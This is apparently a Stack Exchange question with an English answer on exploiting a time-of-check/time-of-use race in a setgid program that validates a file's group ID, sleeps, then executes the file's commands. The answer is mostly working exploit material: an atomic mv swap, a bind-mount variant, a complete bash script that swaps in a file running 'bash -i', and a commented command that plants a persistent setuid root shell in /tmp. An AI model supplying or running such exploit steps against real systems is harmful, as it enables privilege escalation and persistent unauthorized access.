如何绕过GID校验替换文件以获取Bash?竞态条件求解
Alright, let's break this down step by step. You're dealing with a setgid program that validates the target file's group ID, waits 3 seconds (our race window), then executes commands from that file. Symlinks won't work here because the stat() call follows symlinks to check the actual file's GID—so swapping the symlink target after validation doesn't help. Instead, we can use atomic file replacement or bind mounts to pull off the exploit.
Method 1: Atomic File Replacement with rename() (mv)
Unix-like systems guarantee that the rename() system call (used by the mv command) is atomic—it swaps files instantly, no partial state in between. This is perfect for the 3-second sleep window.
Step-by-Step:
- Prepare a valid "good" file: Create a file that matches the required group ID (use
chgrp <target-gid> good.txtto set it—you can get the target GID by runningecho $(./your-program 2>&1 | grep -oP 'group \K\d+')if you run the program once with an invalid file). Put harmless content in it, likeecho "check passed". - Create your malicious file: Make a file (e.g.,
bad.txt) with commands to get a shell, like:bash -i # Or for a persistent setuid shell: # cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash && /tmp/rootbash - Trigger the program and swap files:
- Run the program with your valid file:
./your-program good.txt &(the&runs it in the background) - Wait 1 second (to ensure it finishes the
stat()check), then instantly replace the good file with your malicious one:mv -f bad.txt good.txt
- Run the program with your valid file:
When the program wakes up from its sleep, it'll open the now-malicious good.txt and execute your commands—no way to detect the swap since mv is atomic.
Method 2: Bind Mounts
If you have permission to use mount (or can leverage it), bind mounting lets you "redirect" the valid file path to your malicious content, also atomically.
Step-by-Step:
- Follow steps 1-2 from Method 1 to create your valid and malicious files.
- Run the program in the background:
./your-program good.txt & - Wait 1 second, then bind mount your malicious file over the valid one:
sudo mount --bind bad.txt good.txt # If you don't have sudo, check if your user has mount permissions for the filesystem - After the program executes your commands, clean up with:
sudo umount good.txt
This works because the bind mount makes the good.txt path point directly to your bad.txt content—when the program opens good.txt, it reads your malicious commands.
Automate the Race Window
Timing is critical, so you can wrap this in a script to avoid manual delays:
#!/bin/bash # Set up files TARGET_GID=$(./your-program 2>&1 | grep -oP 'group \K\d+') echo "echo placeholder" > good.txt chgrp $TARGET_GID good.txt echo "bash -i" > bad.txt # Launch program and wait for validation ./your-program good.txt & PROGRAM_PID=$! sleep 1 # Atomic swap mv -f bad.txt good.txt # Wait for program to finish wait $PROGRAM_PID
This ensures the swap happens exactly during the sleep window, so you don't miss the race condition.
内容的提问来源于stack exchange,提问作者sim

